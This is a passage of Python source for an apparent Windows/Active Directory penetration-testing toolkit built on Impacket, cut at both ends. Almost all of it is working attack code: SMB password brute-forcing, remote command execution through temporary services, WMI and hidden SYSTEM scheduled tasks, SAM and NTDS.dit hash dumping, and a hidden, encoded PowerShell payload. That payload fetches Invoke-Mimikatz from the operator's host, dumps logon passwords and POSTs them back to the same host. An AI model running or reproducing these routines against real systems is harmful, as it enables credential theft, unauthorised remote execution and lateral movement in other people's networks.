            while status == STATUS_MORE_ENTRIES:
                try:
                    resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
                except DCERPCException, e:
                    if str(e).find('STATUS_MORE_ENTRIES') < 0:
                        raise 
                    resp = e.get_packet()

                for user in resp['Buffer']['Buffer']:
                    r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])

                    info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
                    #entry = (user['Name'], user['RelativeId'], info['Buffer']['All'])
                    entries['users'].append(user['Name'])
                    samr.hSamrCloseHandle(dce, r['UserHandle'])

                enumerationContext = resp['EnumerationContext'] 
                status = resp['ErrorCode']

        except ListUsersException, e:
            logging.info("Error listing users: %s" % e)

        dce.disconnect()

        return entries

class TSCH_EXEC:
    def __init__(self, username, password, command, domain ='', hashes=None , noOutput=False):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__myIPaddr = None
        self.__aesKey = None
        self.__doKerberos = False
        self.__command = command
        self.__tmpName = ''.join([random.choice(string.letters) for _ in range(8)])
        self.__tmpFileName = self.__tmpName + '.tmp'
        self.__smbConnection = None
        self.__dceConnection = None
        self.__noOutput = noOutput
        self.__mode = 'SHARE'
        self.output = ''
        if hashes:
            self.__lmhash, self.__nthash = hashes.split(':')

    def play(self, addr):
        stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
        rpctransport = transport.DCERPCTransportFactory(stringbinding)

        if hasattr(rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                         self.__aesKey)
            rpctransport.set_kerberos(self.__doKerberos)

        try:
            self.doStuff(rpctransport)
        except Exception as e:
            logging.info(e)
            if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:
                #If we receive the 'STATUS_OBJECT_NAME_NOT_FOUND' error, it might work if we try again
                sleep(1)
                self.doStuff(rpctransport)
            else:
                if self.__noOutput is False:
                    self.__myIPaddr = self.__smbConnection.getSMBServer().get_socket().getsockname()[0]
                    logging.info('Starting SMB Server')
                    smb_server = SMBServer()
                    smb_server.daemon = True
                    smb_server.start()
                    self.__mode = 'SERVER'
                    self.doStuff(rpctransport)
                    smb_server.stop()

    def doStuff(self, rpctransport):
        def output_callback(data):
            self.output += data

        dce = rpctransport.get_dce_rpc()
        self.__dceConnection = dce

        dce.set_credentials(*rpctransport.get_credentials())
        dce.connect()
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        dce.bind(tsch.MSRPC_UUID_TSCHS)

        xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>cmd.exe</Command>
"""

        if self.__mode == 'SHARE':
            xml += """      <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments>
    </Exec>
  </Actions>
</Task>
        """.format(self.__command, self.__tmpFileName)

        elif self.__mode == 'SERVER':
            xml += """      <Arguments>/C {} &gt; \\\\{}\\{}\\{} 2&gt;&amp;1</Arguments>
    </Exec>
  </Actions>
</Task>
        """.format(self.__command, self.__myIPaddr, DUMMY_SHARE, self.__tmpFileName)

        taskCreated = False
        try:
            logging.info('Creating task \\%s' % self.__tmpName)
            tsch.hSchRpcRegisterTask(dce, '\\%s' % self.__tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
            taskCreated = True

            logging.info('Running task \\%s' % self.__tmpName)
            tsch.hSchRpcRun(dce, '\\%s' % self.__tmpName)

            done = False
            while not done:
                logging.info('Calling SchRpcGetLastRunInfo for \\%s' % self.__tmpName)
                resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % self.__tmpName)
                if resp['pLastRuntime']['wYear'] != 0:
                    done = True
                else:
                    sleep(2)

            logging.info('Deleting task \\%s' % self.__tmpName)
            tsch.hSchRpcDelete(dce, '\\%s' % self.__tmpName)
            taskCreated = False
        except tsch.DCERPCSessionError, e:
            logging.info(e)
            e.get_packet().dump()
        finally:
            if taskCreated is True:
                tsch.hSchRpcDelete(dce, '\\%s' % self.__tmpName)

        if self.__noOutput is False:
            if self.__mode == 'SHARE':
                smbConnection = rpctransport.get_smb_connection()
                self.__smbConnection = smbConnection
                waitOnce = True
                while True:
                    try:
                        logging.info('Attempting to read ADMIN$\\Temp\\%s' % self.__tmpFileName)
                        smbConnection.getFile('ADMIN$', 'Temp\\%s' % self.__tmpFileName, output_callback)
                        break
                    except Exception, e:
                        if str(e).find('SHARING') > 0:
                            sleep(3)
                        elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                            if waitOnce is True:
                                # We're giving it the chance to flush the file before giving up
                                sleep(3)
                                waitOnce = False
                            else:
                                raise
                        else:
                            raise

            elif self.__mode == 'SERVER':
                wait = 0
                while wait < 5:
                    try:
                        with open(SMBSERVER_DIR + '/' + self.__tmpFileName,'r') as fd:
                            output_callback(fd.read())
                        break
                    except IOError:
                        sleep(1)
                        wait += 1

    def cleanup(self):
        logging.info('Deleting file ADMIN$\\Temp\\%s' % self.__tmpFileName)
        self.__smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % self.__tmpFileName)
        self.__dceConnection.disconnect()

class RemoteShellsmbexec():
    def __init__(self, share, rpc, mode, serviceName, command, noOutput=False):
        self.__share = share
        self.__mode = mode
        self.__noOutput = noOutput
        self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME 
        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME 
        self.__outputBuffer = ''
        self.__command = command
        self.__shell = '%COMSPEC% /Q /c '
        self.__serviceName = serviceName
        self.__rpc = rpc
        self.__scmr = rpc.get_dce_rpc()

        self.__scmr.connect()

        s = rpc.get_smb_connection()

        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)
        if mode == 'SERVER':
            myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
            self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        self.transferClient = rpc.get_smb_connection()

    def set_copyback(self):
        s = self.__rpc.get_smb_connection()
        s.setTimeout(100000)
        myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
        self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)

    def finish(self):
        # Just in case the service is still created
        try:
           self.__scmr = self.__rpc.get_dce_rpc()
           self.__scmr.connect() 
           self.__scmr.bind(svcctl.MSRPC_UUID_SVCCTL)
           resp = scmr.hROpenSCManagerW(self.__scmr)
           self.__scHandle = resp['lpScHandle']
           resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
           service = resp['lpServiceHandle']
           scmr.hRDeleteService(self.__scmr, service)
           scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
           scmr.hRCloseServiceHandle(self.__scmr, service)
        except Exception, e:
           pass

    def get_output(self):
        def output_callback(data):
            self.__outputBuffer += data

        if self.__noOutput is True:
            self.__outputBuffer = ''
            return

        if self.__mode == 'SHARE':
            while True:
                try:
                    self.transferClient.getFile(self.__share, self.__output, output_callback)
                    break
                except Exception, e:
                    if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
                        sleep(1)
                        pass
                    else:
                        logging.info('Error while reading command output: {}'.format(e))
                        raise SessionError
            
            self.transferClient.deleteFile(self.__share, self.__output)

        elif self.__mode == 'SERVER':
            with open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') as fd:
                output_callback(fd.read())
            #self.transferClient.deleteFile(self.__share, self.__output)

    def execute_remote(self, data):
        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile 
        if self.__mode == 'SERVER' and self.__noOutput is False:
            command += ' & ' + self.__copyBack
        command += ' & ' + 'del ' + self.__batchFile

        try:
            resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
            service = resp['lpServiceHandle']
        except:
            return

        try:
           scmr.hRStartServiceW(self.__scmr, service)
        except:
           pass
        scmr.hRDeleteService(self.__scmr, service)
        scmr.hRCloseServiceHandle(self.__scmr, service)
        self.get_output()

    def send_data(self, data):
        self.execute_remote(data)
        result = self.__outputBuffer
        self.__outputBuffer = ''
        return result

class CMDEXEC:
    KNOWN_PROTOCOLS = {
        '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
        '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
        }

    def __init__(self, protocols = None,  username = '', password = '', domain = '', hashes = '', share = None, command= None, noOutput=False):
        if not protocols:
            protocols = CMDEXEC.KNOWN_PROTOCOLS.keys()

        self.__username = username
        self.__password = password
        self.__protocols = [protocols]
        self.__serviceName = self.service_generator()
        self.__domain = domain
        self.__command = command
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = None
        self.__doKerberos = None
        self.__share = share
        self.__noOutput = noOutput
        self.__mode  = 'SHARE'
        if hashes:
            self.__lmhash, self.__nthash = hashes.split(':')

    def service_generator(self, size=6, chars=string.ascii_uppercase):
        return ''.join(random.choice(chars) for _ in range(size))

    def run(self, addr):
        result = ''
        for protocol in self.__protocols:
            protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol]
            port = protodef[1]

            #logging.info("Trying protocol %s..." % protocol)
            #logging.info("Creating service %s..." % self.__serviceName)

            stringbinding = protodef[0] % addr

            rpctransport = transport.DCERPCTransportFactory(stringbinding)
            rpctransport.set_dport(port)

            if hasattr(rpctransport,'preferred_dialect'):
               rpctransport.preferred_dialect(SMB_DIALECT)
            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
            try:
                self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command, self.__noOutput)
                result = self.shell.send_data(self.__command)
            except SessionError as e:
                if 'STATUS_SHARING_VIOLATION' in str(e):
                    return

                if self.__noOutput is False:
                    logging.info('Starting SMB Server')
                    smb_server = SMBServer()
                    smb_server.daemon = True
                    smb_server.start()
                    self.__mode = 'SERVER'
                    self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
                    self.shell.set_copyback()
                    result = self.shell.send_data(self.__command)
                    smb_server.stop()

            except  (Exception, KeyboardInterrupt), e:
                self.shell.finish()
                sys.stdout.flush()
                sys.exit(1)

        return result

class RemoteShellwmi():
    def __init__(self, share, win32Process, smbConnection, mode, noOutput=False):
        self.__share = share
        self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
        self.__outputBuffer = ''
        self.__shell = 'cmd.exe /Q /c '
        self.__win32Process = win32Process
        self.__transferClient = smbConnection
        self.__pwd = 'C:\\'
        self.__noOutput = noOutput
        self.__mode = mode

        # We don't wanna deal with timeouts from now on.
        self.__transferClient.setTimeout(100000)
        self.__myIPaddr = self.__transferClient.getSMBServer().get_socket().getsockname()[0]

    def get_output(self):
        def output_callback(data):
            self.__outputBuffer += data

        if self.__noOutput is True:
            self.__outputBuffer = ''
            return

        if self.__mode == 'SHARE':
            while True:
                try:
                    self.__transferClient.getFile(self.__share, self.__output, output_callback)
                    break
                except Exception, e:
                    if "STATUS_SHARING_VIOLATION" in str(e):
                        sleep(1)
                        pass
                    else:
                        logging.info('Error while reading command output: {}'.format(e))
                        raise SessionError
            
            self.__transferClient.deleteFile(self.__share, self.__output)

        elif self.__mode == 'SERVER':
            wait = 0
            while wait < 5:
                try:
                    with open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') as fd:
                        output_callback(fd.read())
                    break
                except IOError:
                    sleep(1)
                    wait += 1

    def execute_remote(self, data):
        command = self.__shell + data
        if self.__noOutput is False:
            if self.__mode == 'SERVER':
                command += ' 1> ' + '\\\\{}\\{}\\{}'.format(self.__myIPaddr, DUMMY_SHARE, OUTPUT_FILENAME)  + ' 2>&1'
            elif self.__mode == 'SHARE':
                command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output  + ' 2>&1'

        obj = self.__win32Process.Create(command, self.__pwd, None)
        self.get_output()

    def send_data(self, data):
        self.execute_remote(data)
        result = self.__outputBuffer
        self.__outputBuffer = ''
        return result

class WMIEXEC:
    def __init__(self, command = '', username = '', password = '', domain = '', hashes = '', share = None, noOutput=False):
        self.__command = command
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = None
        self.__share = share
        self.__noOutput = noOutput
        self.__doKerberos = False
        self.__mode = "SHARE"
        if hashes:
            self.__lmhash, self.__nthash = hashes.split(':')

    def run(self, addr, smbConnection):
        result = ''
        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
        iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
        iWbemLevel1Login.RemRelease()

        win32Process,_ = iWbemServices.GetObject('Win32_Process')

        try:
            self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection, self.__mode, self.__noOutput)
            result = self.shell.send_data(self.__command)
        except SessionError as e:
            if self.__noOutput is False:
                logging.info('Starting SMB Server')
                smb_server = SMBServer()
                smb_server.daemon = True
                smb_server.start()
                self.__mode = 'SERVER'
                self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection, self.__mode)
                result = self.shell.send_data(self.__command)
                smb_server.stop()

        dcom.disconnect()

        return result

class WMIQUERY:
    def __init__(self, address, username, password, domain, hashes, namespace):
        self.address = address
        self.username = username
        self.password = password
        self.domain= domain
        self.namespace = namespace
        self.lmhash = ''
        self.nthash = ''
        if hashes:
            self.lmhash, self.nthash = hashes.split(':')

    def run(self, query):

        record_dict = {}

        dcom = DCOMConnection(self.address, self.username, self.password, self.domain, self.lmhash, self.nthash, None, oxidResolver = True, doKerberos=False)

        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
        iWbemServices= iWbemLevel1Login.NTLMLogin(self.namespace, NULL, NULL)
        iWbemLevel1Login.RemRelease()

        query = query.strip('\n')
        if query[-1:] == ';':
            query = query[:-1]

        iEnumWbemClassObject = iWbemServices.ExecQuery(query.strip('\n'))

        printHeader = True
        while True:
            try:
                pEnum = iEnumWbemClassObject.Next(0xffffffff,1)[0]
                record = pEnum.getProperties()
                if printHeader is True:
                    for col in record:
                        record_dict[str(col)] = []
                    printHeader = False
                for key in record:
                    record_dict[key].append(str(record[key]['value']))
            except Exception as e:
                if str(e).find('S_FALSE') < 0:
                    raise
                else:
                    break

        iEnumWbemClassObject.RemRelease()
        dcom.disconnect()

        return record_dict

class RPCENUM():
    def __init__(self, username, password, domain='', hashes=None):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
        if hashes:
            self.__lmhash, self.__nthash = hashes.split(':')

    def connect(self, host, service):

        if service == 'wkssvc':
            stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(host)
        elif service == 'srvsvc':
            stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(host)

        rpctransport = transport.DCERPCTransportFactory(stringBinding)
        rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()

        if service == 'wkssvc':
            dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.__ts)
        elif service == 'srvsvc':
            dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)

        return dce, rpctransport

    def enum_logged_on_users(self, host):
        dce, rpctransport = self.connect(host, 'wkssvc')
        users_info = {}
        try:
            resp = wkst.hNetrWkstaUserEnum(dce, 1)
            return resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
        except Exception:
            resp = wkst.hNetrWkstaUserEnum(dce, 0)
            return resp['UserInfo']['WkstaUserInfo']['Level0']['Buffer']

    def enum_sessions(self, host):
        dce, rpctransport = self.connect(host, 'srvsvc')
        session_info = {}
        try:
            resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
            return resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
        except Exception:
            resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0)
            return resp['InfoStruct']['SessionInfo']['Level0']['Buffer']

        #resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 1)
        #resp.dump()

        #resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 2)
        #resp.dump()

        #resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
        #resp.dump()

def spider(smb_conn,ip, share, subfolder, patt, depth):
    try:
        filelist = smb_conn.listPath(share, subfolder+'\\*')
        dir_list(filelist, ip, subfolder, patt)
        if depth == 0:
            return 0
    except SessionError:
        return 1

    for result in filelist:
        if result.is_directory() and result.get_longname() != '.' and result.get_longname() != '..':
            spider(smb_conn, ip, share,subfolder+'/'+result.get_longname().encode('utf8'), patt, depth-1)
    return 0

def dir_list(files,ip,path,pattern):
    for result in files:
        for instance in pattern:
            if instance in result.get_longname():
                if result.is_directory():
                    print_att("//%s/%s/%s [dir]" % (ip, path.replace("//",""), result.get_longname().encode('utf8')))
                else:
                    print_att("//%s/%s/%s" % (ip, path.replace("//",""), result.get_longname().encode('utf8')))
    return 0

def bruteforce(host, smb, s_name, domain):
    usernames = open(args.bruteforce[0], 'r')
    passwords = open(args.bruteforce[1], 'r')

    for user in usernames:
        passwords.seek(0)
        for passw in passwords:
            try:
                #print "Trying {}:{}".format(user.strip(),passw.strip())
                smb.login(user.strip(), passw.strip(), domain, '', '')
                print_succ("{}:{} {} Found valid account! Domain: {} Username: {} Password: {}".format(host, args.port, s_name, yellow(domain), yellow(user.strip()), yellow(passw.strip())))
                if args.exhaust is False:
                    return
            except SessionError as e:
                if "STATUS_LOGON_FAILURE" in e.message:
                    pass

def normalize_path(path):
    path = r'{}'.format(path)
    path = ntpath.normpath(path)
    share = path.split('\\')[0]
    if ':' or '$' in share:
        path = path.replace(share, '')

    return path

def _listShares(smb):
    permissions = {}
    root = ntpath.normpath("\\{}".format(PERM_DIR))
    
    for share in smb.listShares():
        share_name = share['shi1_netname'][:-1].encode('utf8')
        permissions[share_name] = "NO ACCESS"

        try:
            if smb.listPath(share_name, '', args.passwd):
                permissions[share_name] = "READ"
        except:
            pass

        try:
            if smb.createDirectory(share_name, root):
                smb.deleteDirectory(share_name, root)
                permissions[share_name] = "READ, WRITE"
        except:
            pass

    return permissions

def ps_command(command=None, katz_ip=None):
    if katz_ip:
        command = """
        IEX (New-Object Net.WebClient).DownloadString('http://{addr}/Invoke-Mimikatz.ps1');
        $creds = Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords exit";
        $request = [System.Net.WebRequest]::Create('http://{addr}');
        $request.Method = "POST";
        $request.ContentType = "application/x-www-form-urlencoded";
        $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
        $request.ContentLength = $bytes.Length;
        $requestStream = $request.GetRequestStream();
        $requestStream.Write( $bytes, 0, $bytes.Length );
        $requestStream.Close();
        $request.GetResponse();
        """.format(addr=katz_ip)

    return b64encode(command.encode('UTF-16LE'))

def connect(host):
    try:

        smb = SMBConnection(host, host, None, args.port)
        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = smb.getServerDomain()
        s_name = smb.getServerName()
        if not domain:
            domain = s_name

        print_status("{}:{} is running {} (name:{}) (domain:{})".format(host, args.port, smb.getServerOS(), s_name, domain))

        #DC's seem to want us to logoff first
        #Workstations sometimes reset the connection, so we handle that here
        try:
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, args.port)

        if args.bruteforce:
            start_time = time()
            print_status("{}:{} {} Started SMB bruteforce".format(host, args.port, s_name))
            bruteforce(host, smb, s_name, domain)
            print_status("{}:{} {} Finished SMB bruteforce (Completed in: {})".format(host, args.port, s_name, time() - start_time))

        if args.user is not None and (args.passwd is not None or args.hash is not None):
            lmhash = ''
            nthash = ''
            if args.hash:
                lmhash, nthash = args.hash.split(':')

            noOutput = False
            smb.login(args.user, args.passwd, domain, lmhash, nthash)

            if args.download:
                try:
                    out = open(args.download.split('\\')[-1], 'wb')
                    smb.getFile(args.share, args.download, out.write)
                    print_succ("{}:{} {} Downloaded file".format(host, args.port, s_name))
                except SessionError as e:
                    print_error('{}:{} {}'.format(host, args.port, e))

            if args.delete:
                try:
                    smb.deleteFile(args.share, args.delete)
                    print_succ("{}:{} {} Deleted file".format(host, args.port, s_name))
                except SessionError as e:
                    print_error('{}:{} {}'.format(host, args.port, e))

            if args.upload:
                try:
                    up = open(args.upload[0] , 'rb')
                    smb.putFile(args.share, args.upload[1], up.read)
                    print_succ("{}:{} {} Uploaded file".format(host, args.port, s_name))
                except SessionError as e:
                    print_error('{}:{} {}'.format(host, args.port, e))

            if args.list:
                try:
                    dir_list = smb.listPath(args.share, args.list + '\\*')
                    print_succ("{}:{} Contents of {}:".format(host, args.port, args.list))
                    for f in dir_list:
                        print_att("%crw-rw-rw- %10d  %s %s" % ('d' if f.is_directory() > 0 else '-', f.get_filesize(), ctime(float(f.get_mtime_epoch())) ,f.get_longname()))
                except SessionError as e:
                    print_error('{}:{} {}'.format(host, args.port, e))

            if args.spider:
                start_time = time()
                print_status("{}:{} {} Started spidering".format(host, args.port, s_name))
                spider(smb, host, args.share, args.spider, args.pattern, args.depth)
                print_status("{}:{} {} Done spidering (Completed in {})".format(host, args.port, s_name, time() - start_time))

            if args.wmi_query:
                query = WMIQUERY(host, args.user, args.passwd, domain, args.hash, args.namespace)
                res = query.run(args.wmi_query)
                print_succ("{}:{} {} Executed specified WMI query:".format(host, args.port, s_name))
                print yellow(' | '.join(res.keys()))
                if len(res.values()) > 1:
                    for v in map(None, *res.values()):
                        print yellow(' | '.join(v))
                else:
                    for k in res:
                        for v in res[k]:
                            print yellow(v)

            if args.enum_sessions:
                rpcenum = RPCENUM(args.user, args.passwd, domain, args.hash)
                sessions = rpcenum.enum_sessions(host)
                print_succ("{}:{} {} Current active sessions:".format(host, args.port, s_name))
                for session in sessions:
                    for fname in session.fields.keys():
                        print "{} {}".format(fname, yellow(session[fname]))
                    print "\n"

            if args.enum_lusers:
                rpcenum = RPCENUM(args.user, args.passwd, domain, args.hash)
                lusers = rpcenum.enum_logged_on_users(host)
                print_succ("{}:{} {} Logged on users:".format(host, args.port, s_name))
                for luser in lusers:
                    for fname in luser.fields.keys():
                        print "{} {}".format(fname, yellow(luser[fname]))
                    print "\n"

            if args.sam:
                sam_dump = DumpSecrets(host, args.user, args.passwd, domain, args.hash, True)
                sam_dump.dump(smb)
                if sam_dump.dumped_sam_hashes:
                    print_succ("{}:{} {} Dumping local SAM hashes (uid:rid:lmhash:nthash):".format(host, args.port, s_name))
                    for sam_hash in sam_dump.dumped_sam_hashes:
                        print_att(sam_hash)
                try:
                    sam_dump.cleanup()
                except:
                    pass

            if args.ntds:
                vss   = False
                ninja = False
                if args.ntds == 'vss': vss = True
                if args.ntds == 'ninja': ninja = True

                ntds_dump = DumpSecrets(host, args.user, args.passwd, domain, args.hash, False, True, vss, ninja)
                ntds_dump.dump(smb)
                if ntds_dump.dumped_ntds_hashes:
                    print_succ("{}:{} {} Dumping NTDS.dit secrets using the {} method (domain\uid:rid:lmhash:nthash):".format(host, args.port, s_name, args.ntds.upper()))
                    for h in ntds_dump.dumped_ntds_hashes['hashes']:
                        print_att(h)
                    print_succ("{}:{} {} Kerberos keys grabbed:".format(host, args.port, s_name))
                    for h in ntds_dump.dumped_ntds_hashes['kerb']:
                        print_att(h)
                ntds_dump.cleanup()

            if args.enum_users:
                user_dump = SAMRDump("{}/SMB".format(args.port), args.user, args.passwd, domain, args.hash).dump(host)
                print_succ("{}:{} {} {} ( LockoutTries={} LockoutTime={} )".format(host, args.port, s_name, yellow(user_dump['users']), user_dump['lthresh'], user_dump['lduration']))

            if args.mimikatz:
                noOutput = True
                local_ip = smb.getSMBServer().get_socket().getsockname()[0]
                args.command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(ps_command(katz_ip=local_ip))

            if args.pscommand:
                args.command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(ps_command(command=args.pscommand))

            if args.command:

                if args.execm == 'smbexec':
                    executer = CMDEXEC('{}/SMB'.format(args.port), args.user, args.passwd, domain, args.hash, args.share, args.command, noOutput)
                    result = executer.run(host)
                    if result:
                        print_succ('{}:{} {} Executed specified command via SMBEXEC'.format(host, args.port, s_name))
                        print_att(result)

                elif args.execm == 'wmi':
                    executer = WMIEXEC(args.command, args.user, args.passwd, domain, args.hash, args.share, noOutput)
                    result = executer.run(host, smb)
                    if result:
                        print_succ('{}:{} {} Executed specified command via WMI'.format(host, args.port, s_name))
                        print_att(result)

                elif args.execm == 'atexec':
                    atsvc_exec = TSCH_EXEC(args.user, args.passwd, args.command, domain, args.hash, noOutput)
                    atsvc_exec.play(host)
                    if atsvc_exec.output:
                        print_succ('{}:{} {} Executed specified command via ATEXEC'.format(host, args.port, s_name))
                        print_att(atsvc_exec.output)

                    atsvc_exec.cleanup()

            if args.list_shares:
                share_list = _listShares(smb)
                print_succ('{}:{} {} Available shares:'.format(host, args.port, s_name))
                print_att('\tSHARE\t\t\tPermissions')
                print_att('\t-----\t\t\t-----------')
                for share, perm in share_list.iteritems():
                    print_att('\t{}\t\t\t{}'.format(share, perm))

        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, args.port, e))
        if args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, args.port, e))
        if args.verbose: traceback.print_exc()

    except socket.error as e:
        return

def concurrency(hosts):
    ''' Open all the greenlet threads '''
    try:
        pool = Pool(args.threads)
        jobs = [pool.spawn(connect, str(host)) for host in hosts]
        joinall(jobs)
    except KeyboardInterrupt:
        print_status("Got CTRL-C! Exiting..")
        sys.exit()

if __name__ == '__main__':

    if os.geteuid() is not 0:
        print_error("Run me as r00t!")
        sys.exit(1)

    parser = argparse.ArgumentParser(description=""" 
  ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______ 
 /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
|  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
|  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |     
|  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
 \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|


                Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r

                      Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)

                                                  Inspired by:
                           @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
                           @gojhonny's CredCrack https://github.com/gojhonny/CredCrack
                           @pentestgeek's smbexec https://github.com/pentestgeek/smbexec
""",
                                    formatter_class=RawTextHelpFormatter,
                                    epilog='There\'s been an awakening... have you felt it?')

    parser.add_argument("-t", type=int, dest="threads", required=True, help="Set how many concurrent threads to use")
    parser.add_argument("-u", metavar="USERNAME", dest='user', default=None, help="Username, if omitted null session assumed")
